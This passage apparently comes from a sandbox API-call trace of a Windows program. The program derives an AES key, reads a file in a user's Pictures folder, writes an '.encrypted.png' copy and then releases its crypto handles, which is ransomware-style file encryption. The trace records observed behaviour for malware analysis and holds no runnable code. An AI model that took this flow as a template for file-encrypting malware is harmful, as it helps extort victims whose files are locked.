lpsz="__CRYPT_CONTEXT") returned 0xf [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.136] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.136] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4061c30, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.136] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.136] CryptDestroyHash (hHash=0xe8f4061c30) returned 1 [0028.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.138] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\6T JEVKXg-.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\6t jevkxg-.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.138] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.138] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.139] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2")) returned 0x10 [0028.139] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\6T JEVKXg-.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\6t jevkxg-.encrypted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.139] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.139] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.139] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.139] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.141] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.141] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xffc3, lpOverlapped=0x0) returned 1 [0028.142] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.144] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.144] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.144] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.144] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.145] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.145] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.145] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.145] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.145] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.146] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.146] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.146] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.146] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.146] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.146] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f4064d50, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d50*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.146] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.146] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.147] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.147] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.147] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.147] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.147] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.148] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.148] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xffc3, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xffd0) returned 1 [0028.148] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.148] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.148] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.148] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.148] CharLowerBuffW (in: lpsz="byte[65489]", cchLength=0xb | out: lpsz="byte[65489]") returned 0xb [0028.148] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.150] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.150] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.150] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.150] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.150] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43a9fa0*, pdwDataLen=0xe8f3dfdf68*=0xffc3, dwBufLen=0xffd0 | out: pbData=0xe8f43a9fa0*, pdwDataLen=0xe8f3dfdf68*=0xffd0) returned 1 [0028.150] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.150] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.150] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.150] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.150] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.150] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.150] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.150] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.150] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.151] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.151] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.151] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.151] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.151] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.151] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.151] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.151] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.156] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.156] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.156] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.156] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.156] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.156] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.156] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.157] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.157] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.157] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.157] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.157] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.157] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.157] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.157] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.157] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.157] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.157] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.157] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0028.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.158] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.158] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, 